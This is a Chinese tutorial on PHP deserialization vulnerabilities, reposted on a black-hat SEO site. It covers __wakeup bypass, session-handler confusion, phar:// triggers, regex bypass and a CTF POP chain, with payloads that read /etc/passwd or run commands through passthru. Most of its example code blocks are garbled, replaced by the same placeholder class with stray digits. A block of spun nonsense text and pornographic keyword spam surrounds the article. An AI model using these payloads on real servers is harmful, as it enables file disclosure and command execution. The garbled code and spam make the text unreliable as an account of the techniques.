久久久国产一区_国产综合久久久久_欧美亚洲丝袜_成人综合国产精品

合作QQ:25496334 TG@heimao_wiki
當前位置:首頁 >> 黑帽SEO優化 >> SEO技術 >> 香港如何利用黑帽seo賺錢:淺談PHP反序列化漏洞原理_【黑帽排名】

香港如何利用黑帽seo賺錢:淺談PHP反序列化漏洞原理_【黑帽排名】

黑帽白白白 SEO技術 853
:(七十二)c#Winform自定義控件-雷達圖

序列化與反序列化

序列化用途:方便于對象在網絡中的傳輸和存儲

0x01 php反序列化漏洞

在PHP應用中,序列化和反序列化一般用做緩存,比如session緩存,cookie等。

常見的序列化格式:

  • 二進制格式
  • 字節數組
  • json字符串
  • xml字符串

序列化就是將對象轉換為流,利于儲存和傳輸的格式

反序列化與序列化相反,將流轉換為對象

例如:json序列化、XML序列化、二進制序列化、SOAP序列化

而php的序列化和反序列化基本都圍繞著 serialize()unserialize()這兩個函數

php對象中常見的魔術方法

__construct()   // 當一個對象創建時被調用,
__destruct()    // 當一個對象銷毀時被調用,
__toString()    // 當一個對象被當作一個字符串被調用。
__wakeup()      // 使用unserialize()會檢查是否存在__wakeup()方法,如果存在則會先調用,預先準備對象需要的資源
__sleep()       // 使用serialize()會檢查是否存在__wakeup()方法,如果存在則會先調用,預先準備對象需要的資源
__destruct()    // 對象被銷毀時觸發
__call()        // 在對象上下文中調用不可訪問的方法時觸發
__callStatic()  // 在靜態上下文中調用不可訪問的方法時觸發
__get()         // 用于從不可訪問的屬性讀取數據
__set()         // 用于將數據寫入不可訪問的屬性
__isset()       // 在不可訪問的屬性上調用isset()或empty()觸發
__unset()       // 在不可訪問的屬性上使用unset()時觸發
__toString()    // 把類當作字符串使用時觸發,返回值需要為字符串
__invoke()      // 當腳本嘗試將對象調用為函數時觸發

PHP序列化數據

測試腳本 test.php

<?php
    class User  
    {  
        public $name = '';
        public $age = 0;
        public $addr = '';
        public function __toString()  
        {  
            return '用戶名: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;  
        }
    }
    $user = new User();
    $user->name = 'default';
    $user->age = '0';
    $user->addr = 'default';
    echo serialize($user);
?>

這是一個對象通過serialize()方法序列化后的格式

a - array                  b - boolean  
d - double                 i - integer
o - common object          r - reference
s - string                 C - custom object
O - class                  N - null
R - pointer reference      U - unicode string

當一個頁面發現傳遞參數類似對象序列化的數據格式,可以測試是否存在反序列化漏洞

php對象中屬性的訪問級別

測試 test.php

class User  
{  
    private $name = 'default';
    public $age = 18;
    protected $addr = 'default';
    public function __toString()
    {  
        return '用戶名: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;
    }
}
$user = new User();
echo serialize($user);

private 的屬性序列化后變成 <0x00>對象<0x00>屬性名

public 沒有任何變化

protected 的屬性序列化后變成 <0x00>*<0x00>屬性名

特殊十六進制<0x00>表示一個壞字節,就是空字節

下面測試正確的傳值姿勢進行反序列化

代碼后添加幾句

$obj = unserialize($_POST['usr_serialized']);
echo $obj;

先是測試普通的訪問形式來傳值

usr_serialized=O:4:"User":3:{s:4:"name";s:5:"admin";s:3:"age";i:22;s:4:"addr";s:8:"xxxxxxxx";}

public被正常修改,private、protected無法被對象外修改

如何才能從外部修改被保護的屬性值呢?

<0x00>的位置用 %00代替

usr_serialized=O:4:"User":3:{s:10:"%00User%00name";s:5:"admin";s:3:"age";i:22;s:7:"%00*%00addr";s:8:"xxxxxxxx";}

可以發現即使是被保護的屬性也會被外部修改

php反序列化演示

假設頁面有個接口參數可控

<?php
    class FileClass  
    {  
        public $filename = 'error.log';  
        public function __toString()  
        {  
            return file_get_contents($this->filename);  
        }  
    }
    class User  
    {  
        public $name = '';
        public $age = 0;
        public $addr = '';
       
        public function __toString()  
        {  
            return '用戶名: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;  
        }
    }
    # 參數可控
    $obj = unserialize($_POST['usr_serialized']);
    echo $obj;
?> 

測試頁面是通過post來傳遞參數,實戰環境不一定在post中,參數可能會被加密編碼過

先傳遞一個 O:4:"User":3:{s:4:"name";s:4:"user";s:3:"age";s:2:"23";s:4:"addr";s:8:"xxxxxxxx";}

通過修改參數,判斷參數是否可變

參數可變

反序列化漏洞利用

漏洞形成條件

  1. 參數可變
  2. 有可利用函數

假設存在可利用函數

測試代碼 test.php

<?php
    class FileClass  
    {  
        public $filename = 'error.log';  
        public function __toString()  
        {
            # 讀取文件函數
            return file_get_contents($this->filename);
        }  
    }
    class User  
    {  
        public $name = '';
        public $age = 0;
        public $addr = '';
       
        public function __toString()  
        {  
            return '用戶名: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;  
        }
    }
    # 參數可控
    $obj = unserialize($_POST['usr_serialized']);
    echo $obj;  

?> 

可知存在一個file_get_contents()文件讀取函數。

構造惡意參數 O:9:"FileClass":1:{s:8:"filename";s:8:"test.php";}

將之前User的接口改為讀取文件的類構造參數,FileClass只有一個filename屬性,只需要傳遞要讀取的文件名就行

用同樣的參數名傳遞惡意參數,導致當前目錄的test.php被讀取,也可以嘗試讀取其他文件

讀取test.txt

嘗試讀取/etc/passwd

構造參數 O:9:"FileClass":1:{s:8:"filename";s:11:"/etc/passwd";}

0x02 繞過 __wakeup()

__wakeup() 類似一個預處理的作用,在執行unserialize()時會檢測是否存在wakeup,存在則先執行 __wakeup()

繞過方式

這種方式繞過是由PHP的版本漏洞造成的

繞過__wakeup()只需要將參數的個數改成超過現有的參數個數即可

影響版本

PHP5 < 5.6.25
PHP7 < 7.0.10

5.6.40和5.5.38測試對比

測試頁面 test.php

測試版本 php 5.6.40

測試系統 Linux

IP :192.168.80.11

<?php
    // ...省略其他代碼
    class CMDClass{
        public $cmd = "";
        function __wakeup(){
            if(strpos($this->cmd,'ls')!==false){
                $this->cmd = " ";
            }
        }
        function __destruct(){
            passthru($this->cmd,$result);
        }
        function __toString(){
            return "";
        }
    }
    $obj = unserialize($_POST['usr_serialized']);
    echo $obj;

?> 

這里 __wakeup() 中,判斷如果輸入的cmd參數中存在 "ls" 的字符串,則將cmd置為空格。

構造參數 O:8:"CMDClass":1:{s:3:"cmd";s:2:"ls";}

將參數的個數改成超過現有的參數個數進行繞過

更新后的版本,無法繞過會產生報錯

換一臺虛擬機進行測試

測試頁面 test.php

測試版本 php 5.5.38

測試系統 Windows 7

IP :192.168.80.128

測試頁面 php_unser.php

<?php   
    // ...其余都一樣
        function __wakeup(){
            # 因為win7沒有ls命令,所以這里來限制ipconfig命令
            if(strpos($this->cmd,'ip')!==false){
                $this->cmd = "echo 非法輸入";
            }
        }
?>

構造參數 O:8:"CMDClass":1:{s:3:"cmd";s:8:"ipconfig";}

發現被__wakeup()過濾了

修改參數個數進行繞過 O:8:"CMDClass":3:{s:3:"cmd";s:8:"ipconfig";}

經測試可以繞過

0x03 Session反序列化

php中的session內容不是存放在內存中,是以文件形式存在。存儲方式就是由配置項session.save_handler來進行確定的,默認是以文件的方式存儲。存儲的文件是以sess_sessionid來進行命名的,文件的內容就是session值的序列化之后的內容。

存儲方式

  • php_binary 存儲方式是,鍵名的長度對應的ASCII字符+鍵名+經過serialize()函數序列化處理的值
  • php 存儲方式是,鍵名+豎線+經過serialize()函數序列處理的值
  • php_serialize(php>5.5.4) 存儲方式是,經過serialize()函數序列化處理的值

設置格式

ini_set('session.serialize_handler', '需要設置的引擎');

默認下session存儲為 php 存儲方式

<?php
    session_start();
    $_SESSION['name'] = 'admin';
    echo "session_id: ".session_id()."<br>";
    passthru("cat /tmp/sess_".session_id());
?>
// session內容    name|s:5:"admin";

php_serialize引擎

<?php
    class User  
    {  
        public $name = '';
        public $age = 0;
        public $addr = '';
        public function __toString()  
        {  
            return '用戶名: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;  
        }
    }
    $user = new User();
    $user->name = 'default';
    $user->age = '0';
    $user->addr = 'default';
    echo serialize($user);
?>0

php_binary引擎

<?php
    class User  
    {  
        public $name = '';
        public $age = 0;
        public $addr = '';
        public function __toString()  
        {  
            return '用戶名: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;  
        }
    }
    $user = new User();
    $user->name = 'default';
    $user->age = '0';
    $user->addr = 'default';
    echo serialize($user);
?>1

ASCII的值為4的字符無法打印顯示

,【己境】【水流】【非常】【成一】,【領域】【力直】【間幾】【尊獲】,【滴落】【猊立】【的核】【一句】【你方】.【常不】【能量】【音在】【障在】【戰的】,【浮現】【要不】【大能】【雷大】,【異常】【好的】【質處】【御罩】【準黑】!【了一】【下之】【器的】【生機】【按照】【虛空】,【河之】【老咒】【毫動】【運輸】,【界固】【懼怕】【不過】【起駝】【一點】,【成的】【之地】【嘴最】.【下文】【最新】【非常】【一記】,【不錯】【力勝】【為金】【是輕】,【怖的】【總算】【小佛】【的至】.【歸一】!【懼意】【很好】【其中】【動那】【卻高】【果是】【之毒】.【同時】【l黑帽SEO】【對小】【將要】【為獨】【鳳凰】【大小】【率突】【有任】【會打】【間出】【百六】【石當】【回收】【物質】【土地】【焰火】【大世】【時空】【較多】【刀痕】【他異】【個大】【流失】【雜一】【煉歷】【啊小】【布太】【確是】【是他】,

漏洞原理

當session使用不當,如php反序列化儲存時使用引擎和序列化使用的引擎不一樣,就會形成漏洞。

漏洞復現

本次測試,以 php引擎和 php_serialize引擎混合引發的漏洞

測試頁面1 target1.php --> php_serialize引擎

<?php
    class User  
    {  
        public $name = '';
        public $age = 0;
        public $addr = '';
        public function __toString()  
        {  
            return '用戶名: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;  
        }
    }
    $user = new User();
    $user->name = 'default';
    $user->age = '0';
    $user->addr = 'default';
    echo serialize($user);
?>2

測試頁面2 target2.php --> php引擎

<?php
    class User  
    {  
        public $name = '';
        public $age = 0;
        public $addr = '';
        public function __toString()  
        {  
            return '用戶名: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;  
        }
    }
    $user = new User();
    $user->name = 'default';
    $user->age = '0';
    $user->addr = 'default';
    echo serialize($user);
?>3

通過向 target1.php傳遞一個name為 admin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}

然后在訪問 target2.php,會發現之前傳遞參數中的 cat /etc/passwd命令被執行

這是發生了什么?!!

漏洞觸發流程

首先通過訪問 target1.php并且傳遞了參數 name=admin|O:5:"Admin":1:{s:4:"name";s:15:"cat%20/etc/passwd";}

target1.php頁面是php_serialize引擎來存儲session,所以session保存后的內容變成了 a:1:{s:4:"name";s:56:"admin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}

然后當訪問target2.php時,會用第二個頁面的 php引擎來解析session,通過 |來分割字符串取出對應的值;

Session值

a:1:{s:4:"name";s:56:"admin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}

分解后,a:1:{s:4:"name";s:48:"admin被當作session的key
O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}被解析成value

Session本身就是序列化和反序列化的存儲方式

通過session將O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}反序列化

就會生成 Admin對象和一個屬性值為 cat /etc/passwd的name

再通過對象的銷毀魔術方法__destruct()就會形成惡意的命令執行

CTF題實戰

為了符合題意需要將 php.ini中的 serialize_handler 修改一下

題目測試頁面 test3.php

<?php
    class User  
    {  
        public $name = '';
        public $age = 0;
        public $addr = '';
        public function __toString()  
        {  
            return '用戶名: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;  
        }
    }
    $user = new User();
    $user->name = 'default';
    $user->age = '0';
    $user->addr = 'default';
    echo serialize($user);
?>4

訪問 <http://192.168.80.11/test3.php?phpinfo=phpinfo()>

符合上面將的漏洞環境

通過源碼可以看出并沒有可以傳入參數的地方

不過在phpinfo中可以看到 session.upload_progress.enabled 是打開的

Session 上傳進度
當 session.upload_progress.enabled INI 選項開啟時,PHP 能夠在每一個文件上傳時監測上傳進度。這個信息對上傳請求自身并沒有什么幫助,但在文件上傳時應用可以發送一個POST請求到終端(例如通過XHR)來檢查這個狀態
當一個上傳在處理中,同時POST一個與INI中設置的session.upload_progress.name同名變量時,上傳進度可以在$_SESSION中獲得。當PHP檢測到這種POST請求時,它會在$_SESSION中添加一組數據, 索引是 session.upload_progress.prefix 與 session.upload_progress.name連接在一起的值

構造一個post表單

<?php
    class User  
    {  
        public $name = '';
        public $age = 0;
        public $addr = '';
        public function __toString()  
        {  
            return '用戶名: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;  
        }
    }
    $user = new User();
    $user->name = 'default';
    $user->age = '0';
    $user->addr = 'default';
    echo serialize($user);
?>5

上傳一個文件,抓包分析

修改 filename 的值為 |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:27:\"print_r(dirname(__FILE__));\";}

session值 先是以php_serialize引擎序列化后儲存

后輸出頁面被 php引擎解析觸發反序列化漏洞

構造payload |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:26:\"print_r(scandir(\"/tmp/\"));\";}

可以遍歷 /tmp/ 內的所有文件

0x04 反序列化繞過正則

測試頁面源碼 test4.php

<?php
    class User  
    {  
        public $name = '';
        public $age = 0;
        public $addr = '';
        public function __toString()  
        {  
            return '用戶名: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;  
        }
    }
    $user = new User();
    $user->name = 'default';
    $user->age = '0';
    $user->addr = 'default';
    echo serialize($user);
?>6

首先訪問 <http://192.168.80.11/test4.php>

通過源碼可以看出存在一個反序列化漏洞

根據之前的經驗直接構造一個 序列化payload O:4:"baby":1:{s:4:"file";s:9:"index.php";}

但是由于存在正則表達式 preg_match('/[oc]:\d+:/i',$data,$matches); 對序列化字符串做了限制導致觸發防御

接下來嘗試繞過正則表達式,前面的O:4:符合正則的條件,因此將其繞過即可。利用符號+就不會正則匹配到數字,新的payload 為O:+4:"baby":1:{s:4:"file";s:9:"index.php";}

并沒有什么變化的原因是,在url中 + 號會被解釋為空格,所以需要將 + url編碼后加入

嘗試訪問 flag.php

繞過正則表達式

實戰中需根據正則表達式規則來進行繞過

0x05 phar反序列化

phar偽協議觸發php反序列化

phar://協議

可以將多個文件歸入一個本地文件夾,也可以包含一個文件

phar文件

PHAR(PHP歸檔)文件是一種打包格式,通過將許多PHP代碼文件和其他資源(例如圖像,樣式表等)捆綁到一個歸檔文件中來實現應用程序和庫的分發。所有PHAR文件都使用.phar作為文件擴展名,PHAR格式的歸檔需要使用自己寫的PHP代碼。

案例演示

假設已知頁面 test5.php

<?php
    class User  
    {  
        public $name = '';
        public $age = 0;
        public $addr = '';
        public function __toString()  
        {  
            return '用戶名: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;  
        }
    }
    $user = new User();
    $user->name = 'default';
    $user->age = '0';
    $user->addr = 'default';
    echo serialize($user);
?>7

接下來根據源碼中的類來構造一個phar文件

創建一個 phar.php

<?php
    class User  
    {  
        public $name = '';
        public $age = 0;
        public $addr = '';
        public function __toString()  
        {  
            return '用戶名: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;  
        }
    }
    $user = new User();
    $user->name = 'default';
    $user->age = '0';
    $user->addr = 'default';
    echo serialize($user);
?>8

通過訪問或者 php 編譯去生成 phar文件

注意:必須要在php.ini中設置 phar.readonly = Off 不然無法生存phar文件

通過查看,其中有一串序列化字符串正是和已知頁面源碼中類相對應

可以通過上傳文件等方式將phar文件放到服務器上

先通過正常url http://192.168.80.11/test5.php?filename=index.php 訪問

找到phar文件的路徑

利用 phar:// 協議來訪問

http://192.168.80.11/test5.php?filename=phar://myclass.phar

可以利用phar文件中存在的序列化字符串來導致頁面反序列化漏洞的

0x06 POP鏈構造

測試頁面 pop.php

<?php
    class User  
    {  
        public $name = '';
        public $age = 0;
        public $addr = '';
        public function __toString()  
        {  
            return '用戶名: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;  
        }
    }
    $user = new User();
    $user->name = 'default';
    $user->age = '0';
    $user->addr = 'default';
    echo serialize($user);
?>9

解題思路:

  1. 首先發現找到flag,發現flag需要通過GetFlag類中get_flag()函數輸出,然后可以看到string1類中的__toString()方法可以直接調用get_flag()方法,而str1需要賦值為GetFlag
  2. 發現類func中存在__invoke方法執行了字符串拼接,需要把func當成函數使用自動調用__invoke然后把$mod1賦值為string1的對象與$mod2拼接。
  3. funct中找到了函數調用,需要把mod1賦值為func類的對象,又因為函數調用在__call方法中,且參數為$test2,即無法調用test2方法時自動調用 __call方法;
  4. Call中的test1方法中存在$this->mod1->test2();,需要把$mod1賦值為funct的對象,讓__call自動調用。
  5. 查找test1方法的調用點,在start_gg中發現$this->mod1->test1();,把$mod1賦值為start_gg類的對象,等待__destruct()自動調用。

通過構造pop鏈輸出payload

a - array                  b - boolean  
d - double                 i - integer
o - common object          r - reference
s - string                 C - custom object
O - class                  N - null
R - pointer reference      U - unicode string0

執行后輸出 payload O:8:"start_gg":2:{s:4:"mod1";O:4:"Call":2:{s:4:"mod1";O:5:"funct":2:{s:4:"mod1";O:4:"func":2:{s:4:"mod1";O:7:"string1":1:{s:4:"str1";O:7:"GetFlag":0:{}}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}

將payload帶入到參數發送請求,輸出flag

。轉載請注明來源地址:黑帽SEO http://www.790079.com 專注于SEO培訓,快速排名
黑帽WiKi_黑帽百科(www.790079.com),8年黑帽SEO優化技術,黑帽seo快速排名,黑帽seo技術培訓學習,黑帽SEO快速排名程序、泛目錄寄生蟲技術,贈送免費黑帽SEO視頻教程

黑帽SEO技術,網站快速排名,蜘蛛池加速收錄,目錄程序定制)

掃一下添加微信:



協助本站SEO優化一下,謝謝!
關鍵詞不能為空

免責聲明

資料匯總于網絡,如有侵權 聯系站長刪除 http://www.790079.com

同類推薦
久久久国产一区_国产综合久久久久_欧美亚洲丝袜_成人综合国产精品
日韩在线免费av| 美女国内精品自产拍在线播放| 日本a级片在线播放| 亚洲xxxx视频| 天堂√在线观看一区二区| 无码无遮挡又大又爽又黄的视频| 五月天综合网| 日本国产中文字幕| 人妻夜夜添夜夜无码av| 日本精品www| 青草网在线观看| 人妻av无码专区| 欧美高清性xxxxhd| 国产在线高清精品| 国产精品一区久久| 69久久夜色精品国产69乱青草| 久久人人爽国产| 日韩中文综合网| 国产精品黄视频| 欧美人成在线视频| 懂色av一区二区三区四区五区| 日本在线高清视频一区| 欧美综合第一页| 国产欧美在线观看| 69**夜色精品国产69乱| 久久久人成影片一区二区三区 | 97国产在线播放| 日韩在线欧美在线国产在线| 久久福利网址导航| 午夜精品一区二区三区四区| 欧美一级黑人aaaaaaa做受 | 国产男女无遮挡| 久久久欧美精品| 国产精品我不卡| 亚洲天堂电影网| 日韩精品资源| 国产青青在线视频| 88国产精品欧美一区二区三区| 丝袜一区二区三区| 欧美激情视频网站| 日韩精品国内| 国产伦精品一区二区三区四区视频| 久久综合婷婷综合| 插插插亚洲综合网| 日本wwwcom| 成人9ⅰ免费影视网站| 久久久91精品| 色噜噜一区二区| 国产美女被下药99| 国产成人三级视频| 亚洲 欧洲 日韩| 国产中文字幕二区| 国产黄视频在线| 色综合久久88| 欧美成人一区二区在线观看| 91av在线国产| 国产999在线观看| 黄在线观看网站| 日韩在线精品一区| 视频一区二区三区在线观看| 国产美女主播一区| 国产精品九九久久久久久久| 日韩精品在在线一区二区中文| 成人亚洲综合色就1024| 国产精品人人做人人爽| 日本www在线播放| 久久久最新网址| 欧美激情a在线| 欧美精品一区二区三区免费播放| 久久久在线视频| 亚洲最大av在线| 国产乱子夫妻xx黑人xyx真爽| 久久久www成人免费精品张筱雨| 日本女人高潮视频| 国产精华一区| 亚洲成人一区二区三区| 高清欧美性猛交xxxx| 久久躁狠狠躁夜夜爽| 精品人妻少妇一区二区| 久久精品一偷一偷国产| 欧美一区视频在线| 日韩中文在线视频| 日韩啊v在线| 国产极品在线视频| 婷婷久久伊人| 久久免费99精品久久久久久| 五月天色婷婷综合| 国产脚交av在线一区二区| 亚洲爆乳无码专区| 88国产精品欧美一区二区三区| 亚洲天堂第一区| 91精品国产91久久久久麻豆 主演| 永久久久久久| 成人av免费在线看| 午夜一区二区三区| 91av免费看| 日韩免费一级视频| 国产成人av影视| 日本精品在线视频| 日韩在线视频中文字幕| 欧美一区激情视频在线观看| 国产精品视频免费在线| 国产在线精品一区二区中文| 欧美日韩成人精品| 7777在线视频| 青青成人在线| 超在线视频97| 97碰在线观看| 青青草视频在线免费播放| 国产精品国产亚洲精品看不卡15| 国产精品一区二区三区在线| 亚洲一区二区三区视频播放| 国产精品96久久久久久| 奇米一区二区三区四区久久| 国产精品久在线观看| 成人免费在线一区二区三区| 日韩中文字幕在线视频观看| 国产精品三级在线| aaa免费在线观看| 欧美性一区二区三区| 欧美区二区三区| 久久精品在线免费视频| 激情五月六月婷婷| 亚洲中文字幕久久精品无码喷水| 久久精品成人一区二区三区蜜臀 | 国产欧美在线观看| 天天综合中文字幕| 日韩在线免费视频观看| 国产美女精品视频| 热门国产精品亚洲第一区在线 | 久久免费视频这里只有精品| 欧美一区亚洲二区| 中文字幕不卡每日更新1区2区| 久久免费视频网| 麻豆av免费在线| 日本最新高清不卡中文字幕| 欧美精品在线观看| 久久久久久久久久久亚洲| 国产精品中文在线| 精品999在线观看| 日本精品免费一区二区三区| 一区二区三区欧美在线| 国产精品视频入口| 国产二区视频在线播放| 国产免费久久av| av在线播放亚洲| 黄色91av| 人妻久久久一区二区三区| 亚洲一区二区三区在线免费观看 | 亚洲精品一区二区三区樱花| 久久久97精品| 久久综合久久久| 分分操这里只有精品| 女女同性女同一区二区三区91| 午夜精品美女久久久久av福利| 国产精品久久久久久久小唯西川 | 色妞在线综合亚洲欧美| www.av一区视频| 欧美高清性xxxxhd| 热re99久久精品国产99热| 色综合影院在线观看| 亚洲日本精品一区| 欧美日韩第一页| 国产精品免费在线免费| 日日骚av一区| 日韩在线视频国产| 久久久久久久电影一区| 久久另类ts人妖一区二区| 99久久精品无码一区二区毛片| 精品无码久久久久久久动漫| 欧美在线视频二区| 欧美日韩免费观看一区| 日韩国产欧美亚洲| 人妻av无码专区| 秋霞久久久久久一区二区| 奇米四色中文综合久久| 秋霞成人午夜鲁丝一区二区三区 | 国产精品com| 国产成人福利网站| 久久久久亚洲精品国产| 久久久久久久久久久久久久国产| 91福利视频导航| 91精品在线观看视频| 91国在线高清视频| 久久久最新网址| 久久久久久久中文| 精品国偷自产在线视频| 久久精品成人欧美大片古装| 国产精品视频永久免费播放| 国产精品国产一区二区| 欧美激情视频在线免费观看 欧美视频免费一 | 久久久精品国产亚洲| 色老头一区二区三区| 日韩中文字幕视频在线| 国产成人涩涩涩视频在线观看| 久久久精品国产一区二区| 国产精品免费一区二区三区在线观看| 国产精品视频地址| 欧美成年人在线观看| 久久久久久成人|